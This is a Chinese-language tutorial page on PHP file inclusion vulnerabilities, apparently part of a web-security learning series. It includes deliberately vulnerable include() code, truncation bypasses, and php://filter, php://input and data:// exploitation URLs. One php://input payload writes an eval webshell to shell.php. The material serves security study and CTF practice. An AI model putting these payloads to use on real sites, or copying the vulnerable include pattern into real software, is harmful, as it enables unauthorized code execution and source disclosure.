IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 第31天:WEB漏洞~文件操作之文件包含漏洞全解 -> 正文阅读

[PHP知识库]第31天:WEB漏洞~文件操作之文件包含漏洞全解

1. 文件包含漏洞

在这里插入图片描述

1.1. 原理、检测、类型、修复

  1. 原理: 网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件。浅谈文件包含漏洞

文件包含各个脚本代码 ASP,PHP,JSP,ASPX等
<! --#include file=“1.asp” -->

<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%@ include file=“head.jsp”%> <?php Include('test.php')?>

  1. 检测
    黑盒测试,参数值如果为文件名,则可以尝试
  2. 类型:本地包含(只可引入网站本地文件)、远程包含(包含远程网址文件,危害相较大)。两种包含类型亦各分为有限制与无限制
  3. 修复
  1. 首先是无解的WAF产品
  2. 固定后缀:添加文件后缀到所包含的文件名。实战情况下不清楚所添加的后缀,未知将在造成更多的疑虑,但是可以测一测
  3. 固定文件:似与C语言头文件,不进行所包含文件的修改,都定下来。
  4. 对可变的所包含文件名进行检测!

1.2. 无限制&有限制的包含

无限制为直接直接包含文件:

<?php
$filename=$_GET['filename'];
include($filename);
?>

有限制为直接直接包含文件:以添加固定后缀为例

<?php
$filename=$_GET['filename'];
include($filename.".html");
?>

1.2.1 本地包含

无限制:可直接包含http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
有限制:即漏洞使用有干扰,则需要特殊方法绕过

%00 截断:条件:magic_quotes_gpc = off pho版本<5.3.4
长度截断:条件:区分操作系统:windows点号需要长于256;linux长于4096

1.2.2 远程包含

无限制:直接包含:http://192.168.114.11/webinclude.php?filename=http://www.xiaodi8.com/readme.txt

限制强制添加.html 可以用以上的符号 ?%23(#注释符吧)%20(空格)(不可用)

1.3. 协议流

  1. 首先确认当前搭建网站的环境所支持的协议
    脚本所支持的协议:【图】
  2. 以php网站为例,原文链接:php伪协议
    各协议的利用条件和方法,php.ini参数设置需求:
    在这里插入图片描述

php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filterphp://input

  1. php://filter用于读取源码
  2. php://input用于执行php代码

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

  1. 当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
  2. 注:当enctype=”multipart/form-data”时,php://input是无效的

http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

php://filter

读取文件源码用法:
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
http://127.0.0.1:8080/include.php?filename=file://D:/phpstudy/PHPTutorial/WWW/1.txt

data://

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>

2. 示例

2.1. 本地文件包含代码测试-原理

本地准备 phpinfo的txt文件

http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
大多代码语言文件包含中可添加路径以读取其他路径下文件:../../d:\

有限制时:以添加 .html后缀为例
在这里插入图片描述

2.2. 远程文件包含代码测试-原理

对于远程包含,若php环境禁止,即没有远程包含功能
在这里插入图片描述

  1. 无限制时直接包含:
    在这里插入图片描述
  2. 以添加 .html后缀为例的限制级:
    在这里插入图片描述

2.3. 各种协议流提交流测试-协议

php://input & php://filter

在这里插入图片描述
在这里插入图片描述

file://

所查询的文件将以php代码执行
在这里插入图片描述

data://,执行php代码

在这里插入图片描述

2.4. 某 CMS 程序文件包含利用-黑盒

网站源码:转载自迪师傅 提取码: 5phi
易酷CMS2.5本地文件包含漏洞复现

2.5. CTF-南邮大,春秋百度杯真题-白盒

2.5.1 CTF-南邮大

链接:CTF-南邮大

  1. 根据跳转链接敏感词 file=show.php (黑盒手工看参数及功能点)

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

  1. 直接访问 show.php 也可以正常显示,判断网站机制是将文件包含进主文件以展示
  2. 测试使用 php://input 被拒绝,尝试无所谓开启的文件读取功能
    在这里插入图片描述

2.5.2 春秋学院

春秋学院
没有认证码没有认证资料…
在这里插入图片描述


  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 12:12:45  更:2022-10-17 12:13:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/19 19:49:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码